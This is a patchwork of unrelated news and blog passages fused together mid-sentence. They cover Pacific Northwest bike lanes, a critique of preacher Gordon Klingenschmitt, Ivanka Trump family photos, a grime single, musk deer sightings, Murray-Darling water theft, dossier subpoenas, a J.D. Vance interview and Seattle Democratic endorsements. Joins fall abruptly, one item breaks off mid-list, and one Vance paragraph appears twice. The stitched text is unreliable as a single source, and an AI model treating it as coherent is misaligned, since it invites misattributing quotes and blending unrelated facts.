Unlike Seattle’s now-defunct Pronto—and most North American bike share systems—Biketown uses “smart bikes” that do not have to be returned to docks but can be locked at one of the 3,000 bike racks the city has placed in the service area over the last several years. Although an overlooked piece of bike “infrastructure,” that parking is paying huge dividends in expanding the ease of use of Biketown, and the GPS trackers in the bikes are delivering a wealth of data that the city can use to target future network improvements, said Margi Bradway, manager of PBOT’s active transportation and safety division.
Portland also stands out among Cascadia’s big cities for its bridges. Since the 1990s, many of its bridges have been remodeled for bike-friendliness. Then, in 2015, the city saw the opening of Tilikum Crossing, the first major bridge built to carry people on foot, bikes, and transit, but not in cars.
Now the city is preparing to build Flanders Crossing over I-405, a bicycle and pedestrian bridge that will connect the city’s densest residential neighborhood with downtown jobs and other destinations. Other plans call for construction of Sullivan’s Crossing over I-84, which would become part of a “Green Loop,” a proposed six-mile linear park and active transportation path around the core of the city.
Seattle: Suddenly pedaling faster
Seattle has arguably the most ambitious Bicycle Master Plan on the continent, and thanks to Move Seattle, a nearly $1 billion transportation levy that voters approved in November 2015, it even has the money to build a lot of it. So why have the city’s bicycle advocates been so glum in the last year-plus?
The 20-year plan calls for 100 miles of protected bike lanes, up from Seattle’s current 14, and nearly 250 miles of neighborhood greenways, up from 28. In campaigning for the Move Seattle levy, city officials vowed they would build half that network in the course of the nine-year levy. “Going into 2016 I was extremely optimistic,” said Tom Fucoloro, editor of Seattle Bike Blog. “There was a fresh voter mandate, new funding, and essentially shovel-ready plans. Instead, the city completely dropped the ball. They cut the scale back on bike infrastructure and then missed the goals of that plan in 2016.”
A major bone of contention was a decision to put the long-deferred downtown PBL network on hold again. City officials pointed to the need to create a master plan for the mind-bending number of major changes coming to the core of the city, including removal of the Alaskan Way Viaduct and the opening of Bertha’s replacement tunnel, the closing of a major bus tunnel for construction of an expanded convention center, and eventually the opening of Sound Transit’s East Link light rail.
But the proposed delay of safe bikeways only increased the angst of downtown commuters, who are dodging construction sites as the city undergoes its latest building boom. A 2016 commute survey found that as downtown added 45,000 jobs from 2010 to 2016, the share of people driving alone fell to 30 percent. While the share using transit soared, the proportion biking downtown held steady at 3 percent. “There are just not that many people willing to bike in heavy, mixed traffic with construction cones popping up every few blocks,” Fucoloro said.
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But a newly released draft of Seattle’s five-year bicycle infrastructure construction plan, a plan for implementing the Bicycle Master Plan, is cause for renewed optimism, advocates say. Seattle Department of Transportation (SDOT) officials acknowledge that progress slipped in 2016—bad weather, inter-agency snafus, etc.—but they have a plan to get back on track and a renewed commitment to an interconnected bike network (and a little city council pressure, as well).
To be sure, the news in 2016 wasn’t all bad. Fulfilling a promise made in announcing the city’s Vision Zero goals, the city council lowered speed limits on residential streets to 20 mph and capped speeds on most arterials at 30 mph. To great acclaim, SDOT opened the Westlake protected bike lane, a long-awaited connection from north Seattle to downtown, via the flat route along the Lake Union waterfront. The department also completed the 1.7-mile Roosevelt protected bikeway. Those projects join a downtown PBL on 2nd Avenue and another on Broadway in Capitol Hill, but they don’t join each other. If all goes as planned, those corridors will get connected to one another by other safe bikeways in the next few years, as summarized in the video below.
Vancouver: The cycling giant… for now
Let’s acknowledge that Vancouver gave itself a head start on bike-ability by fighting off urban freeways in the 1970s. The absence of spaghetti bowls of on- and off-ramps, concrete chasms to cross, and drivers speeding toward the highway gives it a mighty leg up on its American cousins in terms safety and comfort.
But let’s also recognize that the city is crisscrossed with six-lane arterials that do not cry out “come cycling,” as Dale Bracewell, Vancouver’s transportation planning manager, is quick to point out. “Our goal is to design for all ages and abilities, and our busy commercial streets did not meet that standard,” Bracewell said.
In the 1990s, the city began converting side streets into “bike boulevards” and pursued a “greenways” plan that tore out asphalt and concrete in some places to make park-like streets where biking and walking were comfortable. Today the city has 108 miles of such corridors. Bicycling grew to account for 4 percent of commute trips, easily surpassing most American cities at the time, but then stalled. “In 2008 we hit a bit of a plateau,” Bracewell said. “People needed to bike on the commercial high streets and destinations. In 2010, after the Olympics, we did our first downtown protected bike lane.” And they didn’t stop there.
In many cases, the city used plastic planters to cordon off some of its existing bike lanes. The key was to create a network of intersecting PBLs. Vancouver now is a continental leader in designing intersections where two PBLs meet, along with vehicle traffic. (Check out the intersections in this video of Burrard Bridge to Point Grey Road, along English Bay.) “We need not just projects but a network to get people where they want to go,” Bracewell said.
In 2012 the city adopted a Transportation 2040 plan that set a target of 50 percent of all trips being walk, bike, or transit by 2020, up from 40 percent. The city hit that target last year, with 7 percent of all trips being by bike. Furthermore, Vancouverites more than doubled their commuting by bike, to a continent-high 10 percent. By all accounts, the downtown network of protected bike lanes deserves much of the credit.
The next lap of Cascadian bike progress
Vancouver has thrown down the gauntlet to its Cascadian competitors. But with newly minted income and a hunger to lead, Portland seems poised to make a great leap forward on protected bike lanes, spurred by the added impetus of a Vision Zero pledge and a fledgling Biketown to nurture. Don’t be shocked, however, if the next lap goes to Seattle. Though the hare of this race at the moment, that millennial magnet has even more money flowing in over the next nine years, a desperate need for alternatives to sclerotic traffic in the face of rapid growth, and an advocacy community with political muscle.
With such strong, determined competitors, the next heat of the Tour de Cascadia should be a bracing ride.
David Goldberg has written about transportation and urban planning for more than 20 years for newspapers, magazines, and two national organizations, Transportation for American and Smart Growth America, where he coined the term “complete streets.”There’s no spiritual message so clear and straightforward that a creative Bible-beater can’t find a way to claim it means the opposite of what the original source intended. How many Christians do you know who somehow never understood — or more accurately, never lived by — one of their prophet’s purported core messages — to love one another, to love your neighbor as yourself, etc.?
Add to that pantheon of hypocrites and obfuscators the officially disgraced Reverend Gordon Klingenschmitt, a.k.a. “Dr. Chaps.”
Whoops, sorry, wrong picture.
They’re easy to confuse, because “Dr. Chaps” is obsessed with gay sex. He’s infamous for (falsely) claiming that Justice Anthony Kennedy called Jesus “evil” and the Holy Spirit “a demon” after Kennedy wrote a majority opinion in the ruling that gutted government discrimination of same-sex couples.
Right Wing Watch explains what Klingenschmitt pulled the other day:
On his most recent “Pray In Jesus Name” program, “Dr. Chaps” Gordon Klingenschmitt added his voice to the never-ending Religious Right outrage over a proposed San Antonio anti-discrimination ordinance that would supposedly ban Christians for serving in public office or in any way working for the city. It is all nonsense, of course, but that didn’t stop Chaps from attacking the proposal by saying that gays should be discriminated against … and citing Martin Luther King to prove it.
“When these confusing statutes now try to redefine ‘discrimination,’ and say that you can no longer discriminate against character, that anyone who discriminates against character is guilty of discrimination and therefore ought to be discriminated against, they’re actually saying Martin Luther King himself ought to be punished for his views, and that’s not right.”
It’s priceless to see Klingenschmitt spin his interpretation of Dr. King’s words, at some point (0:58) confusing himself with his up-is-down convoluted mess of an argument. This is what he ends up squeaking out:
Watch:
In case you’re wondering if Martin Luther King, Jr. really thought that gay people should be judged and discriminated against, consider that one of his friends and longtime allies was Bayard Rustin, the chief organizer of the 1963 March on Washington for Jobs and Freedom at which King gave his famous “I Have a Dream” speech.
Rustin was an openly-gay black man, and a life-long fighter of anti-gay bias.
Case closed.On Sunday, Ivanka shared a sweet image of tiny baby Theo posing on his own in a soft onesie
Ivanka and her husband Jared Kushner, 35, welcomed their third child into the world on March 27
The 34-year-old mom took to Instagram on Friday to post a photo of baby Theodore being cooed over by his siblings Arabella, four, and Joseph, two
With three beautiful children, Ivanka Trump has no shortage of adorable photo opportunities.
And the 34-year-old's latest kid-centric Instagram posts may be her most coo-worthy yet, showing all three of her little ones cuddling together in a heartwarming moment caught on camera as well as another shot of her youngest in a soft blue onesie.
'Sibling Love. Melts my heart,' Ivanka wrote in the caption for the first photo, posted on Friday, showing four-year-old Arabella and two-year-old Joseph with little Theodore James laying across their laps.
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Sibling snuggles: Ivanka Trump shared this sweet image of her children Arabella, four, Joseph, two, and two-month-old Theodore James on Friday
Baby blue: Ivanka also shared this cute image of Theodore on Sunday, showing the little boy in his first solo photo, sitting upright on a couch
The adorable photo sees the two older children all dressed up, Joseph in a fetching sport coat and shirt and Arabella in a white dress adorned with tiny blue flowers.
Joseph is placing an outstretched finger on his little brother's tiny nose and smiling as he looks down on him.
Earlier that day, Ivanka celebrated Theo's two-month birthday by sharing a precious portrait of herself posed with her newborn when he was just over a week old.
The entrepreneur, who gave birth to her third child on March 27, took to Instagram on Friday to post the stunning throwback photo of herself holding baby Theo, who is resting his head on his loving mother's shoulder.
'My baby boy is two months old, can you believe it?!' she captioned the image. 'Little Theodore was only eight days old in this photo.'
Looking back: Ivanka celebrated her newborn son' two-month birthday by sharing this portrait, which was taken when he was only eight days old
Proud mom: Ivanka snapped this playful photo of Theo curled into her shoulder on Wednesday morning before she headed to work
Style star: On Wednesday night, Ivanka wore a blue floral-print dress from her eponymous clothing line to the opening night of Paramour by Cirque du Soleil on Broadway
Despite having just given birth, Ivanka looks radiant in the portrait that sees her posed to the side with her hand resting on Theodore's bare back.
The blond beauty's hair is straight and flowing down her back as she models a blue-pattered scarf that is wrapped around her shoulders.
On Sunday, Ivanka shared another photo of her 'little Theodore', showing the little man sitting upright on a couch in a blue onesie with a white collar.
The mom loves to share candid snapshots of her three children on social media, and earlier this week, she posted a more playful photo of herself posed with her baby boy.
On Wednesday morning, she snapped a picture of baby Theo resting his head on her shoulder, using a mirror in her Park Avenue apartment to capture the sweet moment on her smartphone.
Pro-athletes: Ivanka joined professional golfers (from left to right) Brittany Lincicome, Paula Creamer, and Christie Kerr on the green at Trump National Golf Club in Bedminster, New Jersey, on Monday
'Tee time!' Ivanka took to Instagram last Sunday to share this photo of her eldest son Joseph, two, posed on one of the family's golf courses while proudly holding a toddler-sized club
The image sees Ivanka wearing a sleeveless, ivory and blue floral print top from her eponymous clothing line while Theo dons nothing but a pattered diaper.
'Who wore it better? Spring prints edition,' she captioned the photo.
Theodore is clearly getting bigger by the day, and Ivanka's recent snapshot shows that the newborn already has quite a bit of brown hair aside from a tiny bald patch on the back of his head.
And while Ivanka is certainly enjoying many precious moments with all of her children, she is busier than ever when it comes to her lifestyle brand and her role as executive vice president of development and acquisitions at the Trump Organization.
On Monday, Ivanka headed to the Trump National Golf Club in Bedminster, New Jersey, to meet with professional golfers Christie Kerr, Paula Creamer, and Brittany Lincicome in celebration of the Championship Preview for the 2017 US Women's Open.
Great dad: Ivanka's husband Jared, 35, gave their four-year-old daughter Arabella and son Joseph a playful piggyback ride as he smiled for the camera last week
Expanding: Ivanka, her husband Jared, and their three children are pictured in their first portrait together since Theodore's birth in March
The mother-of-three donned a spring dress and heels as she practiced her drive alongside the pros on Monday, sharing a video of her impressive swing on Instagram.
The clip ends with the executive vice president of the Trump Organization getting a high-five for her technique.
Ivanka certainly had golf on her mind, and the day before meeting with the pros, she shared a picture of her eldest son Joseph, two, posing on a lush green golf course as he proudly holds a child-size club.
'Tee time!' Ivanka captioned the photo, which sees Joseph ready to practice his swing.
Although it is unclear if Joseph was joined by his four-year-old sister Arabella during his time on the golf course, he undoubtedly had a great time bonding with his mom.Tinchy Stryder, aka the Prince of Grime, has been notably absent for some time now since his 2010 album Third Strike. We've been told he's been grinding away at his much awaited fourth album, 360°, but after numerous delays it seemed life was on pause.
Well, the play button has been truly slammed now, because the East London rapper/businessman/clothing line designer has finally returned with a thunderous new banger titled "Allow Me", featuring a guest verse from that man JME and some heavy production from Davinche (who produced Kano's "Ps & Qs").
The track comes with the news that Tinchy will be dropping his new album very soon, and it will come with appearances from JME, D Double E and Giggs, and production from the aforementioned Davinche, Rapid, Dirty Danger, Sir Spyro, Show’N’Prove, Pinky |
with no reporters or other outsiders present, in keeping with Swedish policy in sex cases. In such circumstances, he said, even if Mr. Assange were to be acquitted, “the stigma would remain.”
Advertisement Continue reading the main storyThough deer with fangs sounds like something out of a nightmare, they're actually very real — though the last one was seen in 1948.
The animal, called the Kashmir musk deer, has been proven to still be in our midst by a Wildlife Conservation Society study.
In a recent edition of the journal Onyx, researchers reported five sightings of musk deer in Afghanistan, where a population of them live, the Washington Post reported:
They saw one lone male in the same area three times, one female with a child, and one solitary female -- which may have been the same deer without her young. The researchers report that the deer were difficult to spot, and couldn't be photographed.
The deer are also native to India and Pakistan, with the males using their vampire-like fangs to fight off other males during mating season and get the attention of lady deer.
The Post reported the beasts' scent glands have been used in medicines and perfumes for centuries and fetch over $20,000 a pound on the black market, making them frequent targets of poachers.Murray-Darling Basin plan: Barnaby Joyce says water theft allegations not a matter for Commonwealth
Updated
Water Minister Barnaby Joyce says allegations of "water theft" in far western New South Wales are a serious concern, but the Commonwealth will not step in to investigate.
Mr Joyce has spoken with his NSW counterpart Niall Blair, who has already ordered an independent inquiry into the State Government's handling of the issue.
On Monday, the ABC's Four Corners revealed allegations that some farmers in the Barwon-Darling valley had taken more water from the river than they were entitled to.
It also revealed that meters had been tampered with, masking the amount of water pumped into some farm dams in the region.
The NSW government has been accused of failing to pursue those allegations, despite being presented with evidence by one of its own former water compliance investigators.
The state's most senior water bureaucrat has referred himself to the state's anti-corruption watchdog, after a recording revealed he had offered to share confidential government information with irrigation lobbyists.
The constitution gives the states responsibility over water issues, and Mr Joyce said he wanted to see the result of the ICAC and independent investigations before taking further action.
"I don't think anybody is denying the potency of ICAC in NSW, [and they have the right] to call other people who they think need to be investigated," Mr Joyce said.
"The issue is overwhelmingly an issue for New South Wales and the process is now being investigated by a person outside government, who is independent of government."
Mr Joyce said he and the full council of Murray-Darling Basin state water ministers would consider the findings of both the independent investigation and any ICAC proceedings.
"If all the ministers there, if they're not happy with the process, then we can have the discussion [about what to do next]."
The states retain their constitutional responsibility for water, and it remains unclear what power the ministerial council or the Commonwealth would be able to exercise if they disapprove of the investigations or their findings.
Labor water spokesman Tony Burke said Mr Joyce's response was "the worst of all" for the Murray-Darling Basin.
"The problem for 100 years was that the Murray-Darling Basin was treated as a state issue rather than as a complete river system," he said.
"What Barnaby Joyce has said today effectively unwinds the entire reason for Murray-Darling reform in the first place."
Mr Burke said South Australia's call for a judicial inquiry "makes sense".
"The reason there needs to be something more than a state response is that the allegations that were aired on Monday night all go to the integrity of how NSW has behaved, whether or not the NSW Government has been strategically getting rid of their compliance capacity and undermining any enforcement capacity in the Murray-Darling Basin," he said.
"When those are the issues, and they all have a federal implication, you can't just say 'Well, we'll let the NSW Government sort it out for themselves'."
Mr Joyce would not be drawn on whether he believed the Commonwealth minister, or the Murray-Darling Basin Authority, needed stronger enforcement powers to deal with issues such as those raised by Four Corners.
He said that issue could be dealt with "once NSW goes through their process, whether that's ICAC, the independent report, any criminal actions".
Topics: australia, nsw, sa
First postedThe House Intelligence Committee subpoenaed the FBI and Department of Justice for documents about a controversial dossier that linked President Trump to Russia.
The committee issued the two identical subpoenas on Aug. 24, requesting that both agencies hand over documents containing information about the dossier, the FBI’s relationship to its author and whether the FBI had supported an opposition research project against Trump in the last months of the 2016 presidential campaign, the Washington Examiner reported Tuesday.
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The subpoenas set a deadline of Sept. 1 for the documents to be handed over, but it was extended to Sept. 14 after both departments missed the deadline, according to the Examiner.
The panel also issued subpoenas Tuesday to FBI Director Christopher Wray and Attorney General Jeff Sessions Jefferson (Jeff) Beauregard SessionsTrump says he hasn't spoken to Barr about Mueller report Ex-Trump aide: Can’t imagine Mueller not giving House a ‘roadmap’ to impeachment Rosenstein: My time at DOJ is 'coming to an end' MORE to appear before the committee to say why they hadn’t handed over the documents.
"We got nothing," committee member Rep. Trey Gowdy Harold (Trey) Watson GowdyThe family secret Bruce Ohr told Rod Rosenstein about Russia case Trey Gowdy joins Fox News as a contributor Congress must take the next steps on federal criminal justice reforms MORE (R-S.C.) told the Examiner. "The witnesses have not been produced, and the documents have not been produced."
The controversial dossier, compiled by former British spy Christopher Steele, contained unverified information about Trump that tied to him to Russia.
The Senate Judiciary Committee has also homed in on the dossier in their investigation into Russian election interference. The co-founder of the firm that ordered the dossier, Fusion GPS, spoke to investigators from that committee last month.A new non-fiction book - Hillbilly Elegy: A Memoir Of A Family And A Culture In Crisis has just been published. It is written by J. D. Vance, the Yale Law School graduate who grew up in the poverty and chaos of an Appalachian clan.
The book is an American classic, an extraordinary testimony to the brokenness of the white working class, but also its strengths.
It's one of the best books I've ever read. You cannot understand what's happening now without first reading J. D. Vance. This interview I just did with Vance in two parts (the final question I asked after Mr Donald Trump's convention speech) shows why.
Q. A friend who moved to West Virginia a couple of years ago tells me that she's never seen poverty and hopelessness like what's common there. And she says you can drive through the poorest parts of the state, and see nothing but TRUMP signs. Reading Hillbilly Elegy tells me why. Explain it to people who haven't yet read your book.
A. The simple answer is that these people - my people - are really struggling, and there hasn't been a single political candidate who speaks to those struggles in a long time. Donald Trump at least tries.
A big chunk of the white working class has deep roots in Appalachia, and the Scots-Irish honour culture is alive and well. We were taught to raise our fists to anyone who insulted our mother. I probably got in a half dozen fights when I was six years old. Unsurprisingly, southern, rural whites enlist in the military at a disproportionate rate. Can you imagine the humiliation these people feel at the successive failures of Bush/Obama foreign policy?
What many don't understand is how truly desperate these places are, and we're not talking about small enclaves or a few towns - we're talking about multiple states where a significant chunk of the white working class struggles to get by. Heroin addiction is rampant. In my medium-sized Ohio county last year, deaths from drug addiction outnumbered deaths from natural causes.
The average kid will live in multiple homes over the course of her life, experience a constant cycle of growing close to a "stepdad" only to see him walk out on the family, know multiple drug users personally, maybe live in a foster home for a bit (or at least in the home of an unofficial foster like an aunt or grandparent), watch friends and family get arrested, and on and on.
And on top of that is the economic struggle, from the factories shuttering their doors to the Main Streets with nothing but cash-for- gold stores and pawnshops.
The two political parties have offered essentially nothing to these people for a few decades. From the Left, they get some smug condescension, an exasperation that the white working class votes against their economic interests because of social issues. Maybe they get a few handouts, but many don't want handouts to begin with.
From the Right, they've gotten the basic Republican policy platform of tax cuts, free trade, deregulation, and paeans to the noble businessman and economic growth. Whatever the merits of better tax policy and growth (and I believe there are many), the simple fact is that these policies have done little to address a very real social crisis.
More importantly, these policies are culturally tone deaf: nobody from southern Ohio wants to hear about the nobility of the factory owner who just fired their brother.
Trump's candidacy is music to their ears. He criticises the factories shipping jobs overseas. His apocalyptic tone matches their lived experiences on the ground. He seems to love to annoy the elites, which is something a lot of people wish they could do but can't because they lack a platform.
The last point I'll make about Trump is this: these people, his voters, are proud. A big chunk of the white working class has deep roots in Appalachia, and the Scots-Irish honour culture is alive and well.
We were taught to raise our fists to anyone who insulted our mother. I probably got in a half dozen fights when I was six years old. Unsurprisingly, southern, rural whites enlist in the military at a disproportionate rate. Can you imagine the humiliation these people feel at the successive failures of Bush/Obama foreign policy? My military service is the thing I'm most proud of, but when I think of everything happening in the Middle East, I can't help but tell myself: I wish we would have achieved some sort of lasting victory. No one touched that subject before Trump, especially not in the Republican Party.
Q. I come from poor rural white people in the South. I have spent most of my life and career living among professional-class urbanites, most of them on the East Coast, and the barely-banked contempt they - the professional-class whites, I mean - have for poor white people is visceral, and obvious to me. Yet it is invisible to them. Why is that? And what does it have to do with our politics today?
A. I know exactly what you mean. My grandma (Mamaw) recognised this instinctively. She said that most people were probably prejudiced, but they had to be secretive about it. "We" - meaning hillbillies - "are the only group of people you don't have to be ashamed to look down upon."
During my final year at Yale Law, I took a small class with a professor I really admired (and still do). I was the only veteran in the class, and when this came up somehow in conversation, a young woman looked at me and said, "I can't believe you were in the Marines. You just seem so nice. I thought that people in the military had to act a certain way." It was incredibly insulting, and it was my first real introduction to the idea that this institution that was so important among my neighbours was looked down upon in such a personal way. To this lady, to be in the military meant that you had to be some sort of barbarian. I bit my tongue, but it's one of those comments I'll never forget.
The "why" is really difficult, but I have a few thoughts. The first is that humans appear to have some need to look down on someone; there's just a basic tribalistic impulse in all of us. And if you're an elite white professional, working-class whites are an easy target: You don't have to feel guilty for being a racist or a xenophobe. By looking down on the hillbilly, you can get that high of self-righteousness and superiority without violating any of the moral norms of your own tribe. So your own prejudice is never revealed for what it is.
A lot of it is pure disconnect - many elites just don't know a member of the white working class. A professor once told me that Yale Law shouldn't accept students who attended state universities for their undergraduate studies. (A bit of background: Yale Law takes well over half of its student body from very elite private schools.) "We don't do remedial education here," he said. Keep in mind that this guy was very progressive and cared a lot about income inequality and opportunity. But he just didn't realise that for a kid like me, Ohio State was my only chance - the one opportunity I had to do well in a good school. If you removed that path from my life, there was nothing else to give me a shot at Yale. When I explained that to him, he was actually really receptive. He may have even changed his mind.
What does it mean for our politics? To me, this condescension is a big part of Trump's appeal. He's the one politician who actively fights elite sensibilities, whether they're good or bad. I remember when Hillary Clinton casually talked about putting coal miners out of work, or when Obama years ago discussed working-class whites clinging to their guns and religion. Each time someone talks like this, I'm reminded of Mamaw's feeling that hillbillies are the one group you don't have to be ashamed to look down upon. The people back home carry that condescension like a badge of honour, but it also hurts, and they've been looking for someone for a while who will declare war on the condescenders. If nothing else, Trump does that.
Q. On the other hand, as Hillbilly Elegy says so well, that reflexive reverse-snobbery of the hillbillies and those like them is a real thing too, and something that undermines their prospects in life. Is there any way for it to be overcome, other than getting out of the bubble, as you did?
A. I'm not sure we can overcome it entirely. Nearly everyone in my family who has achieved some financial success for themselves, from Mamaw to me, has been told that they've become "too big for their britches". I don't think this value is all bad. It forces us to stay grounded, reminds us that money and education are no substitute for common sense and humility. But, it does create a lot of pressure not to make a better life for yourself, and let's face it: when you grow up in a dying steel town with very few middle-class job prospects, making a better life for yourself is often a binary proposition: if you don't get a good job, you may be stuck on welfare for the rest of your life.
I'm a big believer in the power to change social norms. To take an obvious recent example, I see the decline of smoking as not just an economic or regulatory matter, but something our culture really flipped on. So there's value in all of us - whether we have a relatively large platform or if our platform is just the people who live with us - trying to be a little kinder to the kids who want to make a better future for themselves.
That's a big part of the reason I wrote the book: it's meant not just for elites, but for people from my own clan, in the hopes that they'll better appreciate the ways they can help (or hurt) their own kin.
At the same time, the hostility between the working class and the elites is so great that there will always be some wariness towards those who go to the other side. And can you blame them? A lot of these people know nothing but judgment and condescension from those with financial and political power, and the thought of their children acquiring that same hostility is noxious. It may just be the sort of value we have to live with.
The odd thing is, the deeper I get into elite culture, the more I see value in this reverse snobbery. It's the great privilege of my life that I'm deep enough into the American elite that I can indulge a little anti- elitism. Like I said, it keeps you grounded, if nothing else! But it would have been incredibly destructive to indulge too much of it when I was 18.
Q. I live in the rural South now, where I was born, and I see the same kind of social pathologies among some poor whites that you write about in Hillbilly Elegy. I also see the same thing among poor blacks, and have heard from a few black friends who made it out as you did the same kind of stories about how their own people turned on them and accused them of being traitors to their family and class - this, only for getting an education and building stable lives for themselves. The thing that so few of us either understand or want to talk about is that nobody who lives the way these poor black and white people do is ever going to amount to anything. There's never going to be an economy rich enough or a government programme strong enough to compensate for the lack of a stable family and the absence of self-discipline. Are Americans even capable of hearing that anymore?
A. Judging by the current political conversation, no: Americans are not capable of hearing that anymore.
I was speaking with a friend the other night, and I made the point that the meta-narrative of the 2016 election is learned helplessness as a political value. We're no longer a country that believes in human agency and, as a formerly poor person, I find it incredibly insulting.
To hear Trump or Clinton talk about the poor, one would draw the conclusion that they have no power to affect their own lives.
Things have been done to them, from bad trade deals to Chinese labour competition, and they need help.
And without that help, they're doomed to lives of misery they didn't choose.
Obviously, the idea that there aren't structural barriers facing both the white and black poor is ridiculous. Mamaw recognised that our lives were harder than rich white people's, but she always tempered her recognition of the barriers with a hard-nosed wilfulness: "never be like those a-holes who think the deck is stacked against them". In hindsight, she was this incredibly perceptive woman. She recognised the message my environment had for me, and she actively fought against it.
There's good research on this stuff. Believing you have no control is incredibly destructive, and that may be especially true when you face unique barriers. The first time I encountered this idea was in my exposure to addiction subculture, which is quite supportive and admirable in its own way, but is full of literature that speaks about addiction as a disease. If you spend a day in these circles, you'll hear someone say something to the effect of, "You wouldn't judge a cancer patient for a tumour, so why judge an addict for drug use."
This view is a perfect microcosm of the problem among poor Americans. On the one hand, the research is clear that there are biological elements to addiction - in that way, it does mimic a disease. On the other hand, the research is also clear that people who believe their addiction is a biologically mandated disease show less ability to resist it.
It's this awful catch-22, where recognising the true nature of the problem actually hinders the ability to overcome it.
Interestingly, both in my conversations with poor blacks and whites, there's a recognition of the role of better choices in addressing these problems...
But let's just think about what culture really means, to borrow an example from my life. One of the things I mention in the book is that domestic strife and family violence are cultural traits - they're just there, and everyone experiences them in one form or another.
I learnt domestic strife from the moment I was born, from more than 15 stepdads and boyfriends I encountered, to the domestic violence case that nearly tore my family apart (I was the primary victim).
So predictably, by the time I got married, I wasn't a great spouse. I had to learn, with the help of my aunt and sister (both of whom had successful marriages), but especially with the help of my wife, how not to turn every small disagreement into a shouting match or a public scene.
Too many conservatives look at that situation, say "well that's a cultural problem, nothing we can do", and then move on. They're right that it's a cultural problem: I learnt domestic strife from my mother, and she learnt it from her parents.
But to speak "culture" and then move on is a total copout, and there are public-policy solutions to draw from experiences like this: How could my school have better prepared me for domestic life? How could child welfare services have given me more opportunities to spend time with my Mamaw and my aunt, rather than threatening me - as they did - with the promise of foster care if I kept talking?
These are tough, tough problems, but they're not totally immune to policy interventions. Neither are they entirely addressable by government. It's just complicated.
Q. Finally, what did watching Donald Trump's speech (at the Republican convention) make you think about this fall campaign, and the future of the country?
A. Well, I think the speech itself was a perfect microcosm of why I love and am terrified of Donald Trump. On the one hand, he criticised the elites and actually acknowledge the hurt of so many working-class voters. After so many years of Republican politicians refusing to even talk about factory closures, Trump's message is an oasis in the desert. But, of course, he spent way too much time appealing to people's fears, and he offered zero substance for how to improve their lives. It was Trump at his best and worst.
My biggest fear with Trump is that, because of the failures of the Republican and Democratic elites, the bar for the white working class is too low. They're willing to listen to Trump about rapist immigrants and banning all Muslims because other parts of his message are clearly legitimate. A lot of people think Trump is just the first to appeal to the racism and xenophobia that were already there, but I think he's making the problem worse.
The other big problem I have with Trump is that he has dragged down our entire political conversation. It's not just that he inflames the tribalism of the Right; it's that he encourages the worst impulses of the Left. In the past few weeks, I've heard from so many of my elite friends some version of, "Trump is the racist leader all of these racist white people deserve."
These comments almost always come from white progressives who know literally zero culturally working-class Americans. And I'm always left thinking: If this is the quality of thought of a Harvard Law graduate, then our society is truly doomed.
In a world of Trump, we've abandoned the pretence of persuasion. The November election strikes me as little more than a referendum on whose tribe is bigger.
But I remain incredibly optimistic about the future. Maybe that's the hillbilly resilience in me. Or maybe I'm just an idiot. But if writing this book, and talking with friends and strangers about its message, has taught me anything, it's that most people are trying incredibly hard to make it, even in this more complicated and scary world. The short view of our country is that we're doomed. The long view, inherited from my grandparents' 1930s upbringing in coal country, is that all of us can still control some part of our fate. Even if we are doomed, there's reason to pretend otherwise.It was a night for “non-establishment” candidates Tuesday as the 43rd District Democrats made their ritual endorsements in this year’s local elections, which included votes on six City Council races.
Democrats in the 43rd Legislative District, which includes Capitol Hill and downtown, made no endorsement in the Council District 3 race where de facto incumbent Kshama Sawant has disrupted an otherwise Democratic stronghold. The vote is a clear blow to the hopes of Sawant challengers including the Central District’s Pamela Banks, seen by many as the favorite to make it through August’s top-two primary after a raft of City Hall endorsements. The victory, of sorts, continues a string for the Socialist Alternative candidate. Sawant also brought out a swell of supporters and was the crowd favorite in last week’s District 3 candidates forum.
Other incumbents and “establishment” candidates also failed to get a nod during the event, although the vote only represents a tiny fraction of the most politically active Democrats.
As the non-Democrats in District 3, Sawant and Lee Carter were technically ineligible for an endorsement from the roughly 150 party members gathered inside the University Heights building in the U-District. Sawant supporters in the party, including King County Council member Larry Gossett, urged a “no endorsement” vote for the District 3 race as a procedural vote for Sawant.
Democratic fundraiser and District 3 candidate Rod Hearne was also ineligible for an endorsement after his campaign was late to submit a required questionnaire. However, Hearne will be eligible for an endorsement during the group’s June meeting.
Hearne’s misstep — or calculated maneuvering? — spurred a motion to postpone the entire endorsement process for District 3 until next month when he could be on the ballot. The motion was shot down handedly.
That left Seattle’s former Urban League director Banks and women’s rights advocate Morgan Beach as the only two candidates up for a vote. After giving two minute speeches, neither managed to garner the 60% of the vote required for an endorsement. Both are now precluded from an endorsement vote in June.
In 2013, the 43rd endorsed incumbent Richard Conlin. Sawant eventually defeated the 16-year Council veteran that fall.
Sawant continues to lead the fundraising race in the relatively cash-laden District 3 race, with nearly $82,000 raised. She also has the lowest average contribution size at $110 — a testament to the candidate’s grassroots approach. The District 3 race has attracted the second highest total contributions after the hotly contested citywide Position 8 race.
In that battle, City Council president Tim Burgess also failed to get an endorsement Tuesday night. Former Tenant’s Union director John Grant received the most votes in the second round of voting, but not enough for an endorsement. Musician John Roderick was also close in the running.
UPDATE 5/22/15 4:00 PM: Recount! The 43rd Dems announced they made an error in tallying Position 8 votes and will put the endorsement back up for consideration in June:
SEATTLE, WA: Friday, May 22, 2015, the 43rd District Democrats held their annual Endorsement Meeting on Tuesday, May 19, 2015 at University Heights Center for Seattle City Council District 3, 4, 6, 7, (positions) 8 and 9, as well as King County Council, Port Commission, and more. Round 1 votes for Seattle City Council position 8 (candidates: Tim Burgess, Jon Grant, John Persak, and John Roderick) were miscalculated giving candidate John Roderick enough votes to move him into the reconsideration vote. Due to a typographical error, in the midst of the excitement of the evening, their vote tally volunteers (all members of the 43rd District Democrats Executive Board) and the 43rd District Democrats Chair, James Apa, did not recognize the mathematical error in vote counts on the tally sheet. “We are extremely sorry to our membership and the community of people who trust in our endorsement process,” said James Apa, Chair of the 43rd District Democrats, “we pride ourselves in providing honest results, especially considering our community’s appreciation of our endorsements. Our tally committee and I each double-checked the results, and while it was an honest mistake, we feel badly about the whole issue. When we realized our error in reporting we immediately notified all candidates eligible for reconsideration of their additional opportunity to receive and endorsement by the 43rd District Democrats.” Because the outcome of the reconsideration vote may have been affected by the 43rd District Democrats’ error, they will re-do the vote at their Tuesday, June 16, 2015 meeting, including only Tim Burgess, Jon Grant, and the “No Endorsement” option on the “ballot.” Candidates will still need 60% of votes cast to receive the 43rd District Democrats endorsement.
In the at-large Position 9 race, Central District neighborhood activist Bill Bradburd took home the 43rd’s endorsement, beating out Lorena Gonzalez, legal counsel for Mayor Ed Murray. Bradburd received perhaps the most resounding applause of the night.
In his opening address for the evening, Murray alluded to the shake-ups centrist Democrats face in this year’s election.
